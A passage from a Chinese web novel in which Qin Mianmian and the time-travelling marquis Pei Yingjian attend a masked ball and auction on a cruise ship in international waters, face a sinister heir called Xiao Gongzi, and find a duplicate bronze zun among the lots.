姜芙从屋里跑出来,看到秦绵绵屋里的灯早就灭了,想必是睡着了。 姜芙心里很不是滋味。 快一个亿啊。 这么大的缺口,她怎么睡得着?! 她到底从哪弄来这些钱啊! …… 第二天,秦绵绵将陈启明请到一间僻静的房间内验货。 裴应见也在场,好整以暇地坐在旁边喝茶,仿佛即将展示的只是些寻常物件。 当秦绵绵打开他带来的其中一个箱子时,饶是见惯了奇珍异宝的陈启明,呼吸也骤然一滞。 他凑近了,拿起放大镜仔细看了又看,脸色由最初的专业审慎,渐渐转为难以置信的震惊。 他放下放大镜,微微瞪大着眼,半晌,才找回自己的声音: “这……这……” 半天,也没说出一句完整的话。 裴应见微微一笑: “陈先生不必惊讶,这只是我们这批货里面最不起眼的一件。” 陈启明听了这话,研究又更瞪大了一圈,看了看其他的还没打开的那些箱子,半晌,身子一抖,险些坐倒在地。 第190章 出发 秦绵绵立刻伸手扶住了他。 陈启明看看她,只见她也在微笑。 那笑容跟一旁的裴应见简直如出一辙。 陈启明忍不住在心中感叹了一句——这两口子,还真是般配啊。 但陈启明到底是见过大风大浪的人,惊讶过后还是恢复了镇定。 “小秦丫头!你们……你们姜家这次的窟窿,不是只有一千万吗……” 这些东西的价值,别说一千万,就是后面再加个零,恐怕都打不住!这简直是把一座移动的金山摆在了他面前。 秦绵绵弯唇一笑,眼底却是一片平静无波: “陈先生说笑了。谁会嫌钱多烫手呢?既然有机会,多准备些总是好的,以备不时之需嘛。” 裴应见端着茶杯,适时地轻啜一口,目光扫过那些价值连城的珍宝,又落在秦绵绵带着浅笑的脸上,眼底闪过一丝不易察觉的欣赏之意。 陈启明看着眼前这对气定神闲的年轻人,再看看这些足以引起轰动的宝物:“好!东西绝对够分量!公海拍卖会那边我去安排,保证给你们争取到最好的位置和时机!” 事情就这么定了下来。 陈启明效率极高,很快就将拍卖会的时间、地点以及接头方式都安排妥当,只等秦绵绵他们出发。 消息传开,客栈里顿时热闹起来。 “绵绵,我跟你去!海上不比陆地,多个人多份照应!”姜芙第一个站出来。 叶子舟也推了推眼镜:“我和子雯也可以帮忙,至少路上记账算账什么的……” 朱七妹更是直接走到秦绵绵身边,比划着手语,意思很明确:她要去保护秦绵绵。 就连赵立生都挺着胸脯凑热闹: “带上赵叔!别看我没多少钱,但咱有力气,能挡事儿!” 他说着还拍了拍自己并不算强壮的胳膊。 钱老先生捻着胡须,也一脸关切。 陈启明也郑重道: “小秦丫头,公海那地方龙蛇混杂,规矩也多。我陪你走一趟,熟门熟路,能省去不少麻烦。” 但是秦绵绵都婉拒了。 她自有安排。 朱七妹的身手是客栈里最好的,需要她留下看家,作为众人的定海神针。 姜芙坐镇后方,稳定姜家的人心。 叶子舟和叶子雯兄妹则要留下管理客栈的账目,看紧钱袋子。 赵立生虽然热心,但景区里里外外根本离不开他,所以根本不考虑他。 钱老先生年纪大了,不适合长途奔波和冒险。 至于陈启明, “我知道陈先生在欧洲还有一场重要的拍卖会,就在这两天。这场拍卖会关系到瀚海拍卖行的国际市场,非常重要,我不能耽误你的正事。” 陈启明还想说什么,姜敬意也慢悠悠开口: “能为我们安排这个机会,我们已经很感激了,至于后面的路,让我们自己来走吧。” 陈启明也就不能在说什么了。 一番安排下来,秦绵绵安排得有理有据,众人也都只好接受了她的决定。 裴应见自始至终没怎么说话,只是在秦绵绵安排完一切后,淡淡地补充了一句,声音不大,却足以让所有人安心: “放心,有我。” 最终,这场公海之行,只有秦绵绵裴应见和姜敬意三人出行。 出行之前,陈启明又郑重地反复叮嘱: “公海之上不比陆地,万事小心为上,切记安全第一。我已经安排好了接头人,代号‘海鸥’,有任何突发状况,都可以找他。” 姜芙眼圈还是红了,捶了秦绵绵一拳: “你一定要安全回来,要不然……要不然姜家可就都归我了!” 其他人也都依依不舍,但最终还是送走了三人。 客栈里恢复了安静。 钱老先生按捺不住好奇,凑到陈启明身边: “小陈,那丫头到底拿出了什么宝贝,把你惊成那样?” 陈启明想起那几件东西,脸上震惊的余韵未消,他用力摇了摇头,嘴巴闭得像蚌壳: “不是我不说,是真不能说。总之……姜家这次,或许因祸得福也未可知。” 他神色凝重,不再言语。 钱老先生见他如此,也不再追问,只是脸色也跟着严肃了起来。 …… 另一边,秦绵绵三人并未直接去码头。 车子七拐八绕,来到一处僻静的私人港口。 夜色下,一个穿着黑色冲锋衣,身形高大魁梧的男人早已等候在那里,正是盛意。 他身后还跟着几个同样精干的手下,气息沉稳,显然都是好手。 盛意上前,对裴应见微微躬身,态度恭敬,甚至显得有点激动。 秦绵绵心里清楚,盛意也是第一次和裴应见见面,激动一点也是正常的。 虽然没人介绍,但姜敬意人脉宽广,也早已猜到了盛意的身份,倒是对他和裴应见,又更多了一丝好奇。 “船已经备好,随时可以出发。” 一行人迅速登上一艘看起来并不起眼,但速度极快的改装快艇,消失在茫茫夜色之中。 大约两小时后,远处海平线上出现了一座灯火辉煌的海上巨无霸——那便是此次拍卖会的举办地,“海神号”游轮。 离得越近,越能感受到它的庞大与奢华。 整艘船宛如一座移动的海上宫殿,灯光璀璨,将周围的海面都映照得波光粼粼。 快艇靠近时,甚至能听到从甲板上传来的隐约的音乐和谈笑声。 游轮外壁线条流畅优美,巨大的落地玻璃窗反射着内部奢靡的灯火。 入口处并非寻常舷梯,而是一个可升降的平台,铺着厚厚的红毯,两旁站着身着统一制服、神情肃穆的安保人员。 登上游轮,内部更是金碧辉煌。 脚下是光可鉴人的大理石地面,头顶是璀璨夺目的水晶吊灯,空气中弥漫着高级香水和雪茄混合的味道。 大厅宽阔得如同五星级酒店,随处可见价值不菲的艺术品和古董摆设。 来往的宾客衣着光鲜,男士多是定制西装,女士则珠光宝气,身边往往跟着保镖,彼此间低声交谈,眼神中却带着审视与戒备。 秦绵绵不动声色地观察着四周,心下暗忖,这地方确实是销金窟,但也处处透着危险的气息。 第191章 为了她 裴应见很自然地走在秦绵绵身边,不着痕迹地隔开了旁人的视线,低声在她耳边道:“一切有我。” 姜敬意则像个没见过世面的游客,东看看西瞧瞧,脸上带着三分好奇七分笑意,仿佛对周遭的暗流涌动毫无察觉。 盛意则带着手下,迅速融入阴影之中,时刻保持着警惕。 陈启明安排的接头人“海鸥”很快迎了上来,一个看起来很普通的中年男人,眼神却异常锐利。 他引着秦绵绵一行人,穿过喧闹的大厅,走向更为私密的贵宾区域。 …… 京城,一间不见天日的密室。 空气里弥漫着铁锈和某种消毒水混合的怪异气味。 姚祁被粗麻绳捆得结结实实,跪在冰冷的水泥地上。 他嘴角破了,渗着血丝,白色衬衫上晕开几处深色污迹,狼狈不堪。 在他面前几步远,浓重的阴影里,停着一把轮椅。 轮椅上的人隐在暗处,只能依稀辨认出一个俊朗却模糊的侧脸轮廓。 “为了她,值得吗?”阴影里的人开口了,声音平静,却带着一股寒意,直钻人心。 姚祁低着头,额前的碎发被汗水打湿,贴在脸上,他沉默了几秒,然后像是用尽了力气,声音沙哑地嗯了一声。 “呵。”轮椅上的人发出一声短促的轻笑,听不出情绪,更像是一种嘲弄。 他稍稍调整了一下坐姿,轮椅轻微移动,发出细小的摩擦声。 “想要保住她的命,你……还远远不够。” 姚祁抬起头,眼睛里布满血丝,死死盯着那片阴影。 阴影里的人就这么看着他,密室里只剩下姚祁粗重的呼吸声。 过了好一会儿,那人才再次开口,语气带着一种残忍的施舍:“我可以让她活着。” “但是,”那人话锋一转,“你知道我想要什么。” 姚祁看着那片深不见底的阴影,仿佛能看到里面那双冰冷又带着偏执占有欲的眼睛。 他闭上眼,再睁开时,眼底只剩下一种近乎毁灭的决绝。 “好。” 他低声说。 “我答应你。” 说完,他用尽全身力气,将额头重重抵在冰冷的地面上,整个人跪伏了下去。 阴影里的男人看着他卑微臣服的姿态,久久没有说话,只有轮椅扶手上,那只骨节分明的手,无声地收紧了。 …… 游轮缓缓驶离港口,平稳地切开墨色的海面,向着没有国界线的公海深处航行。 秦绵绵、裴应见和姜敬意在“海鸥”的引领下,安顿在位于贵宾区的相邻套房。 房间奢华,但三人心思各异,都无暇欣赏。 没过多久,侍者送来了烫金的请柬,邀请他们参加今晚在主宴会厅举办的假面舞会,作为拍卖会的序幕。 姜敬意拿着请柬,脸上露出嫌弃的笑容:“上来就搞这些虚头巴脑的。” 不过还是很快去自己房间换衣服了。 秦绵绵看向裴应见,这家伙一头长发,也不知道该怎么打扮他才不会那么引人注目。 等到舞会时间临近,裴应见换好衣服从房间出来,秦绵绵却眼前一亮。 他竟将一头长发利落地挽成一个发髻,用一根简单的墨玉簪固定。 身上穿着的并非西装礼服,而是一袭玄色暗纹的改良汉服,衣袂飘飘,衬得他身姿挺拔,气质卓然。 脸上则戴着一张狰狞又威严的金色将军鬼面,只露出一双深邃难测的眼眸和线条完美的下颌。 这身装扮在充斥着现代奢靡气息的游轮上,显得格格不入,却又无比夺目,引得走廊上偶尔经过的侍者和宾客频频侧目。 秦绵绵倚在自己门口,上下打量了他一番。 “裴先生这是生怕自己不够惹眼?” 裴应见转过头,面具后的目光落在她身上,带着一丝笑意。 “那你看好我,别让人把我抢走了。” 秦绵绵嘴角抽了抽,没接这茬。 裴应见却走上前来,把胳膊弯了弯,朝向她: “请吧,我亲爱的公主殿下。” 秦绵绵一席黑色贴身晚礼服,脸上带着一副宽大的同色奢华面具,确实宛如暗夜中的精灵公主。 她顿了顿,没有立刻过去挽住他的胳膊。 姜敬意也换了一身相对低调的西装,戴着一张最普通的银色面具,笑着打圆场: “走吧,去看看这位传说中的拍卖会主人是何方神圣。” 说着,动手把秦绵绵的手放进了裴应见的臂弯里。 三人随着人流来到金碧辉煌的主宴会厅。 悠扬的音乐声中,戴着各式华丽面具的宾客们觥筹交错,低声谈笑,气氛看似热烈,实则暗流涌动。 很快,音乐声渐歇,一个身材略显肥胖,戴着一张与他体型极不相符的、憨态可掬的小熊面具的男人走上了前方的小舞台。 他用一种圆润温和的声音致辞,欢迎各位贵宾的到来,言语间满是对艺术和珍宝的热爱,听起来像个纯粹的收藏家。 秦绵绵正听着,旁边的姜敬意却用只有他们两人能听到的声音,慢悠悠地开口。 “这位‘小熊先生’,看着和气生财,但在外面名声可不怎么好听。” 秦绵绵侧头看向他。 姜敬意端着酒杯,视线落在台上的胖子身上,语气平淡无波。 “去年跟他抢一块油田的一个中东富商,全家度假时游艇意外爆炸,无人生还。” “还有前年在欧洲黑市上坑了他一大笔钱的一个文物贩子,后来在自己家里被人发现,身上零件一件没少,就是拼不回去了。” “心狠手辣,睚眦必报。” 秦绵绵心头微凛,再看向台上那个笑容可掬的“小熊先生”时,眼神不由得多了几分审慎。 而这一边,人群中,一个坐轮椅的男人引起了裴应见的注意。 秦绵绵顺着他的视线看去,低声问: “怎么,想起云承月了?” 云承月是他的好友,因为身体不好,常年坐轮椅。 而远处那人也是一席宽大白衣,和云承月的打扮风格十分类似。 裴应见摇摇头,声音压得更低:“倒不是想起他,而想起了跟他有点关系的,另一个人。” 第192章 鬼见愁 秦绵绵也望向那个方向,那人戴着一张普通的白色面具,坐在轮椅上,身影显得有些孤单。 不知为何,秦绵绵突然也觉得那人的轮廓有种说不出的熟悉感,仿佛在哪里见过,却一时想不起来。 那人似乎刻意调整了坐姿,掩饰着身体的不便,但仔细看去,还是能发现他左边的衣袖和裤管都显得异常空瘪。 这人竟然是个很严重的残疾人, 只有右边的一手一脚,左边都是空的。 秦绵绵看着他,裴应见的目光却又往这人轮椅后面看去。 他身后只跟着一个仆从,那仆从垂手侍立,貌不惊人,但裴应见却从他身上感受到一股极其危险的气息,内敛而强大。 “他身边那个人,”裴应见的声音带着一丝凝重,“是个顶尖高手,就算是我,也不敢说能稳赢他。” 秦绵绵心头一凛。 就在这时,那个坐在轮椅上的男人,竟然操控着轮椅,径直朝着他们这边过来了。 周围原本低声交谈的宾客,像是见了什么可怕的东西,纷纷下意识地退开,让出一条通路,气氛骤然变得有些诡异的安静。 轮椅在秦绵绵面前停下。 面具后的目光落在秦绵绵身上,男人微微颔首,用一种平静无波,却又带着奇异穿透力的声音开口: “这位小姐,不知是否有幸,请你跳一支舞?” 秦绵绵了一下,一个坐轮椅的人,要怎么跳舞? 周围的人连大气都不敢出,显然对这个男人极为忌惮。 裴应见不动声色地上前一步,将秦绵绵稍稍护在身后,金色鬼面下的眼神冰冷。 喧闹的大厅里霎时静的落针可闻。 就连音乐都停了。 气氛十分的诡异。 就在这僵持的时刻,姜敬意忽然哈哈一笑,上前一步,挡在了秦绵绵和轮椅之间。 他动作自然地摘下了自己脸上的银色面具,露出一张带笑的普通面孔,对着轮椅上的人熟稔地打招呼: “哎呀,我当是谁呢,这不是萧公子吗?” 姜敬意仿佛没看见对方眼中一闪而过的冷意,继续热情地说: “真是巧了,没想到能在这公海上碰见您!” 他指了指秦绵绵:“这是我侄女,年轻不懂事,要是有什么冲撞了萧公子的地方,您多担待。” 围观众人更加噤若寒蝉了。 京城来的萧公子。 顶级豪门萧家。 眼前这个坐着轮椅的天残男人,竟就是那个传说中的京圈太子爷。 场内一时更安静了。 姜敬意的笑声显得格外尴尬。 就这样也不知道过了多久, 对面轮椅上这个被称为萧公子的男人,忽然也抬手,摘下了脸上的面具。 面具下是一张过分英俊却冷酷到几乎没有温度的脸。 肤色苍白,薄唇紧抿,唯有那双深邃的眼眸,在看向秦绵绵时,带着一种难以言喻的复杂情绪,似审视,又似某种晦暗不明的探究。 他的这个举动,让整个宴会厅的气氛更加凝滞。 就在这剑拔弩张的时刻,那位戴着小熊面具的拍卖会主人,忽然举着酒杯走过来,用他那圆润的声音打着哈哈: “哎呀呀,看来大家对彼此都很好奇嘛!既然如此,不如我们都摘下面具,坦诚相见,岂不更好?” 他带头摘下了自己的小熊面具,露出一张笑眯眯的胖脸,眼睛都快挤成了一条缝。 有人带头,气氛顿时松动下来,宾客们纷纷响应,或好奇或无奈地摘下了各自的面具。 一时间,宴会厅里各种面孔显露,真容百态,倒是比刚才的假面更添了几分真实的热闹。 秦绵绵的目光却被角落里一个身影吸引。 就在众人纷纷摘下面具时,一个穿着香槟色礼服的女人,不仅没有摘下脸上的羽毛面具,反而脚步匆匆地转身,迅速离开了宴会厅。 那背影窈窕,步态从容,更让秦绵绵觉得异常眼熟。 舞会音乐再次响起,气氛重新热络起来。 那位只剩一手一脚的萧公子没有再靠近秦绵绵,只是操控着轮椅退到了一个相对僻静的角落。 但他那冰冷而执着的目光,却如同跗骨之蛆,始终若有若无地落在秦绵绵身上。 裴应见自然也察觉到了,他握着秦绵绵的手微微用力,将她更拉近自己一些。 秦绵绵冷着的一张脸忽然绽开了笑容,她顺从地贴近他,用只有两个人能听到的音量,幽幽挑拨: “怎么,裴先生难道怕我跑了?要这么抓紧我。” 裴应见低下头,热气呵在她的耳边: “正是。” 两人随着音乐起舞,舞步配合默契。 裴应见一身玄色汉服,长发束髻,金色鬼面虽然已经摘下,但那俊美无俦又带着疏离感的面容,本身就足够引人注目。 秦绵绵一袭黑裙,衬得肌肤胜雪。 两人站在一起,旁若无人地跳着舞,说着话,姿态亲昵,仿佛周遭的一切都不存在。 角落里的萧公子看着这一幕,端着酒杯的手指微微收紧,杯中猩红的酒液轻轻晃动。 一旁的姜敬意脸色却不太好。 这两个祖宗。 刚才的气氛都那样了,现在他们竟然还能在这里旁若无人地秀恩爱。 他忍了又忍,终于在第二支舞曲结束时冲上前,把秦绵绵和裴应见拉出了宴会厅。 三人匆匆离开宴会厅,回到房间。 “我说你们俩,心也太大了吧?跳得还挺投入!” 秦绵绵与裴应见对视一眼,都笑了。 秦绵绵耸耸肩: “那不然呢?该来的躲不掉,逃避也没有用,反而显得心虚。” 姜敬意看着这两人淡定的模样,属实无奈,在套房客厅里来回踱了两步,说起了那个萧公子的来历。 “京城顶尖豪门萧家的独苗,手段狠辣,见过他的人不多……他还有一个外号,叫鬼见愁,也就是说,他是一个阎王爷见了都得绕道走的主儿。” “你们刚才也看见了其他人的样子,一个个恨不得钻地缝里去。” 至于其他的,姜敬意也说不上来什么,毕竟他也只是曾经跟他有过一面之缘,才能在刚才认出他。 第193章 幕后之人 裴应见转头对角落里的盛意吩咐: “去查查这位萧公子,越详细越好。” 盛意悄无声息地退了出去。 姜敬意叹了口气:“这位萧公子,具体情况我也知道的不多,只听说他手段极其狠辣,性子更是阴晴不定,而且……传闻里,他对看上的东西,不管是人是物,都有种近乎偏执的占有欲。” 这话一出,秦绵绵和裴应见都想到了刚才萧公子看向秦绵绵的那种眼神。 很明显,他是冲着他们来的,或者更准确地说,是冲着秦绵绵来的。 没过多久,盛意却去而复返,脸色凝重。 “主人,船上启动了信号屏蔽装置,所有对外的通讯都被切断了。” 秦绵绵和裴应见立刻拿出手机查看。 果然,信号格空空如也。 姜敬意也试了试自己的手机,同样没信号。 而这个时间,船也已驶入了公海。 这艘豪华的游轮,已彻底成了一座与世隔绝的孤岛。 就在这时,门铃忽然响起。 一名穿着制服的工作人员推着餐车进来,上面除了精致的宵夜,还有几本制作精美的拍卖会宣传手册。 工作人员放下东西后,恭敬地退了出去。 姜敬意随手拿起一本翻看,裴应见也拿起一本,随意翻阅着。 忽然,他的动作停顿了一下,目光定格在其中一页。 秦绵绵注意到他的异样,凑过去看。 只见手册上印着一件造型古朴的青铜尊,下面配有详细的文字说明。 秦绵绵也立刻脸色一变。 只因这件青铜尊,和他们这次委托陈启明送拍的其中一件,一模一样。 秦绵绵看向裴应见:“这东西有一对?” 裴应见脸色沉沉:“我拿来的时候,就是孤品。” 秦绵绵虽然没有问过,但是猜也猜得出来,这些价值连城的宝物来路不正,八成都是皇宫里的东西。 但是她不在意,皇帝老儿再手眼通天,追贼赃也不可能追到另一个时代来。 所以这些东西,她卖的放心大胆。 她自然也知道,这些皇宫大内的东西,无一不是一等一的宝物,每一件都是世间绝宝。 可是,这样的绝世孤品,怎么会出现一模一样的两个呢? 这绝对不可能。 而这样的拍卖会,更不可能有人大胆到敢拿一件赝品过来。 何况拍卖会本身也会去查验这种事的,如果有问题,就绝对不会出现在册子上。 所以,对方那个难道也是真的? 这世上真的会有这么巧合的事吗? 裴应见往后翻了翻,果然也看到了他们送拍的那件拍品的介绍。 三人愣在原地,互相看看,都没有头绪,但脸色都凝重了起来。 来之前倒是预料到了这个拍卖会上或许会险象环生。 但…… “来的还真快。”秦绵绵笑了笑,忽然转向姜敬意,“四叔现在能说实话了吗?到底是为什么,忽然回海城来的。” 姜敬意被她这么直接一问,不由愣住,在原地走了两步,终于长长叹了口气。 他抬手揉了揉眉心,神色间带着几分疲惫和无奈:“唉,瞒不过你。” “回海城之前,我确实收到了一个消息。” “一个很可靠的消息来源告诉我,有人在暗中打听你的事情,而且来意不善,似乎想要对你不利。” 秦绵绵眼神微动,立刻想到了最近发生的事情。 “罗小胖突然失联,还有姚祁……”她看向裴应见,“会不会都和这件事有关?” 裴应见微微颔首,眸色沉静,显然也想到了这一层。 姜敬意摇摇头,语气里带着一丝烦躁。 “我得到消息的时候,只知道有人要对你动手,但具体是谁,为了什么,一概不知。” “想着你一个人在海城,身边又没有得力的人手,这才急急忙忙赶回来。” 他看了看裴应见,又看了看秦绵绵,苦笑了一下。 “没想到,你身边现在是高手如云,倒显得我这个做四叔的有些多余了。” 秦绵绵假装没看见,追问道:“那消息源呢?能问出更多吗?” 姜敬意脸色更沉:“联系不上了。” “从我收到消息,到我赶回海城,前前后后也就两天时间,等我再想联系时,对方已经完全失联。” 这感觉跟罗小胖和姚祁失联的情况,有些像。 裴应见一直沉默地听着,此时开口:“看来,这是一环扣一环的计划。” “先是剪除你身边可能提供帮助的人,再将你引到这个无法对外联系的地方。” “那位萧公子,恰好出现在这里……”姜敬意接过话头,“很难不让人怀疑,他就是幕后主使。” 就在这时,盛意忽然接口: “主人,关于那位萧公子,我倒是知道一些。” 几人都是一顿,差点忘了他也是来自京城的,裴应见便让他说说。 “萧家在京城是顶级豪门,根基深厚。” “这位萧公子是萧家唯一的继承人,但他身体状况非常特殊,从小就天残,据说左边的手脚都没有发育完全。” “因为身体原因,他极少在公众场合露面,性格非常孤僻,身边几乎没有任何朋友和亲人。” “他出行都是乘坐轮椅,身边只跟着一个寸步不离的贴身护卫。” 盛意看向裴应见:“那个护卫的身手确实如主人所说,深不可测。” 姜敬意脸上的疑惑更深了。 “没错,可这就是奇怪之处,他这样一个人,你一个海城的小丫头,怎么可能得罪到萧家这位太子爷?” “他孤僻冷漠,不近人情,更是不会为了别人出头。” “按理说,你们根本不可能产生交集。” 秦绵绵也觉得奇怪。 “能让‘小熊先生’这样的人物听命行事,放任两件一模一样的拍品出现,这位幕后主使人能量肯定不一般,这位萧公子,再符合不过。” “可他到底为什么针对我呢?” 三个人你看看我,我看看你,都陷入了沉思。 姜敬意在房间里踱来踱去。 “别的不说,这姓萧的摆明了是冲着咱们来的,这是一定的。” 第194章 哥哥 “到时候他肯定会在拍品上做文章。咱们这青铜尊,虽然是真得不能再真的宝贝,可对方既然能弄出一件一模一样的,还把它印在册子上,摆明了就是要设套!” “到时候拍卖会一开始,他那边随便找几个所谓的专家一鉴定,说咱们的是赝品,对咱们可是大大的不利,这种地方,拿了赝品上来,后果可是很严重的。” 盛意也适时补充道: “姜先生说得没错。每年的拍卖会都有人来了就没再回去,据说有一部分就跟赝品有关系。” 话说到这里,气氛已是越来越凝重了。 谁知秦绵绵却不说话了,片刻之后,忽然噗嗤一声笑了出来。 姜敬意瞪眼:“你还笑得出来?” 秦绵绵走到沙发边坐下,姿态放松,哪里有半点紧张的样子。 她端起桌上的水杯,慢悠悠地喝了一口,才抬眼看向姜敬意:“四叔,急什么。” “兵来将挡,水来土掩。” “他既然把戏台子搭好了,咱们接着就是。” 姜敬意简直要被她这不紧不慢的态度气笑了:“我的好侄女,这可不是唱戏!是要命的!” 秦绵绵不置可否,转头看向一直沉默不语的裴应见,眼神里带着询问和一丝狡黠。 裴应见接收到她的目光,嘴角微不可察地勾了勾。 他伸手,轻轻覆在秦绵绵放在沙发扶手上的手背,动作自然而亲昵。 然后,他才抬眸看向一脸焦灼的姜敬意,语气平淡: “放心。不管他那件是真是假,也不管他想玩什么花样……” 裴应见顿了顿,目光扫过那本宣传册上青铜尊的图片。 “我保证,明天上了拍卖台的,只可能是我们的东西。” “至于他那件……它不会有机会出现在任何人面前。” 姜敬意愣住了,看着裴应见那笃定的神情,一时竟忘了自己刚才的担忧。 秦绵绵却像是早就料到他会这么说,脸上露出了然的笑容。 “听见没,四叔?天塌下来,有个子高的顶着呢。” “您老就放宽心,准备看戏吧。” …… 另一边,舞会已散场。 萧公子操控着轮椅,回到自己的套房。 房门无声打开,那个提前离场的香槟色礼服女人,此刻正俏生生地站在房间中央。 她脸上那华丽的羽毛面具尚未摘下,只露出一双含着笑意的眼睛。 见到萧公子进来,她几步上前,带着一股香风,竟是直接扑进了他的怀里。 “哥哥!” 她声音娇软,带着许多亲昵,这亲昵中却又似乎暗含着许多疏离和敬意。 站在轮椅后的仆从眉头微皱,刚要上前阻止这过于亲昵的举动。 萧公子却抬起了他仅有的那只右手,示意仆从退下。 他低头看着怀里的女人,脸上没什么表情,但动作却算得上温和,轻轻拍了拍她的背。 “怎么提前走了?” 女人在他怀里蹭了蹭,声音带着抱怨: “还不是怕那个秦绵绵认出我来。” “她的眼睛太毒了,刚才好几次往我这边看,吓得我心惊肉跳的。” “万一被她当场叫破,这戏可就不精彩了。” 萧公子嘴角似乎牵动了一下,但弧度微乎其微。 “上了这艘船,就是我们的地盘。她就算认出来,又能如何?” 他语气平淡,却透着绝对的掌控力。 “你大可以多去招惹招惹她,猫吃老鼠之前,总是要多逗逗,才有趣。” “我已一切安排妥当,等明天拍卖会开始,更有好戏给你看。” 女人闻言,抬起头,面具下的眼睛亮晶晶的。 “还是哥哥厉害,我都听哥哥的!” 女人笑起来: “没错,秦绵绵,前仇旧恨,这回我要跟你一起算……我要把你耍的团团转,要让你绝望……最后再在这绝望中死掉!” 她语气里的怨毒和兴奋毫不掩饰。 萧公子却没接话,只是沉默地看着她。 女人察觉到气氛不对,笑容收敛了些,试探地问:“哥哥?你怎么不说话?” 萧公子移开目光,看向窗外漆黑的海面。 “她的命,我会留着。” 女人脸上的笑容瞬间消失了,她猛地从他怀里挣脱出来,不敢置信地看着他。 “留着她?为什么!” “哥哥,你不是答应过我……” 她开始撒起娇来,跺着脚,伸手去扯萧公子的衣袖。 “不行!我一定要她死!她必须死!” 萧公子的脸色彻底冷了下来。 那是一种没有任何温度的冰冷,连带着周围的空气都仿佛下降了几度。 他甚至没有看那个女人。 一直安静立在后方的仆从,如同得到了无声的指令,上前一步,伸手抓住了女人的胳膊。 女人尖叫起来:“放开我!你干什么!哥哥救我!” 仆从面无表情,手上用力,不容抗拒地将还在挣扎叫嚷的女人拖向门口。 萧公子始终没有回头,只留给那女人一个冷硬的侧脸轮廓。 房门被打开,又被关上,女人的声音被彻底隔绝在外。 房间里重新恢复了死寂。 …… 夜已深沉。 海上起了风。 风高浪急。 海风卷着浪涛,拍打着船身。 大多数宾客已回房歇息,养精蓄锐等待明日的拍卖会。 一道黑影却如同融入夜色,悄无声息地掠过甲板,目标直指拍卖会主人“小熊先生”的书房。 书房外围布设着细密的红外感应线。 男人身形如游龙,于毫厘间穿梭避让,对这些现代机关颇感新奇。 只是,他对一种隐藏式压力感应器终究是陌生了些。 轻微的“滴”声响起,刺耳的警报骤然划破夜空。 不过,警报响起的瞬间,男人却也已经找到了他要找的东西。 在安保人员蜂拥而至前,男人已如青烟般消失在走廊尽头。 小熊先生带着人冲进书房,里面空空荡荡。 门窗紧闭,所有的东西都在原来的位置上。 “先生,检查过了,没有任何东西失窃。也没看到可疑人员。”手下仔细汇报。 小熊先生胖脸上那对挤成缝的眼睛里闪过一丝疑虑。 没丢东西? 也没找到闯入者? 不可能的,这警报极其精密。 但人呢? 第195章 赝品 警报响了不到一分钟他们就到了,闯入者不可能这么快就离开的。 所有人都陷入了深深的疑惑。 几分钟后,头等舱第5号房,黑暗的次卧里,忽然有人影显现。 来人一袭黑衣,仿佛凭空出现的一般。 不是别人,正是能从现代和古代穿梭自如的裴大侯爷。 刚才到小熊先生的书房,主要是为了查一些资料。 拍卖会上的拍品都价值连城,因此拍卖都由各位送拍人保管,而那另一件青铜尊的主人是谁,住在哪间房,只有拍卖会的主人小熊先生有这些资料。 裴应见刚才就是去看这个去了。 主卧的门虚掩着一道缝隙。 裴应见目光锐利,透过缝隙向内望去。 灯光下,一个年轻女人侧对着门坐在桌前。 女人一头黑色的大波浪卷发,侧面的轮廓很美。 她有着西方人深邃的轮廓,又带着东方人柔和的线条,肌肤在灯光下白得晃眼。 裴应见想起刚才从册子上看到的名字——玛丽安·怀特。 不管是不是假名,眼前的女人都很明显的有着外国血统。 这件事为什么又会扯上外国人呢? 裴应见没有时间细想。 女人端坐着,一动不动,呆呆地看着面前的桌上的东西。 那桌上静静摆放着一件青铜尊。 造型古朴,纹饰繁复,与宣传册上那件一模一样。 女人盯着那青铜尊,眼神复杂,像是在看一件心爱之物,又像是在看一个烫手山芋。 忽然,她面露愠色,抬手猛地一挥,似乎想将桌上的东西扫落在地,但手到半空又顿住,最终只是无力地垂下,化作一声低低的叹息。 就在这时,房门被推开,一个同样有着混血面容的年轻男人快步走了进来。 看那眉眼神态,与女子有几分相似,像是她的亲属。 裴应见身形一动,悄无声息地隐入窗帘后的阴影里,只露出一双眼睛观察着。 那男人一进来就叽里呱啦说了一通,语速又快又急,带着明显的不满和焦躁。 裴应见皱紧了眉头。 这说的是哪国鸟语?一个字都听不懂。 真是愁人。 而他听不懂的对话里,却恰恰有很重要的信息。 “姐姐,这简直是欺人太甚!” “我们家家传的青铜尊,在家的时候还好好的,运到海城竟然能丢了!,密封箱里都能丢了,箱子还密封的好好的,东西怎么就能不翼而飞!” “这怎么可能?!” “害得现在我们只能拿个假货出来顶着!” “要是被别人知道了,会怎么看我们何家?!” 女人抬手揉了揉额角,脸上带着疲惫。 “家豪,小声点。这也是没有办法的办法。” “拍卖会这边都已经报上去了,难道在最后关头撤拍吗?” “那样只会更惹人怀疑,何家的声誉也会受影响。” “幸好拍卖会主人熊先生愿意帮我们,答应帮我们流拍,不然何家的名誉就真的扫地了。” 何家豪更加激动,他几步走到桌前。 “我看那个胖子也不是什么好人!” “他嘴上答应得好听,说什么会操作流拍,保住我们的面子!” “可你看看这个!” 他将一本宣传手册用力拍在桌上,翻到其中一页。 “这里!竟然还有一件一模一样的!” “这绝对是我们家的真品!肯定是他们偷了我们的东西!” “他们偷了东西,还敢这样堂而皇之地拿出来拍卖!” “那个胖子肯定知道内情!他却什么都不说!” “我看他根本就是跟那伙人串通好了,故意包庇他们!” “他把我们何家当什么了?!” 何丽安站起身,按住弟弟的肩膀。 “家豪,你冷静一点。事情可能比你想象的要复杂。” 何家豪甩开她的手。 “复杂?哪里复杂了?” “东西丢了,赝品顶上,真品出现在别人手里,拍卖会主人还装聋作哑!” “这不是明摆着冲我们来的吗?” 何丽安叹了口气。 “今天下午,熊先生私下找过我。他话里话外的意思……是这件事也许还有转机。” 何家豪愣了一下:“转机?什么转机?” 何丽安眼神闪烁了一下。 “他没有明说。” “但他提到了今天在假面舞会上,引起骚动的那对男女。” “还有那位……萧公子。” “他暗示,或许那位萧公子会插手这件事。” 何家豪皱起眉头:“萧公子?他为什么要帮我们?我们跟他非亲非故。” 何丽安摇摇头。 “我也不知道为什么。” “但熊先生的意思,是让我们暂时按兵不动,等着看。” “家豪,你我都清楚,何家现在不比从前了,我们势单力薄,不宜硬碰硬。” “如果真的能借力打力,或许是最好的选择。” 何家豪却不肯。 “我咽不下这口气!” “偷了我们的东西还想全身而退?没门!” “姐姐,你等着我,这件事我肯定跟他们没完!” 何丽安脸色一变,急忙拉住他。 “家豪!你想干什么,你别冲动!” 何家豪却一把挣开她,头也不回地冲出了房间。 “家豪!” 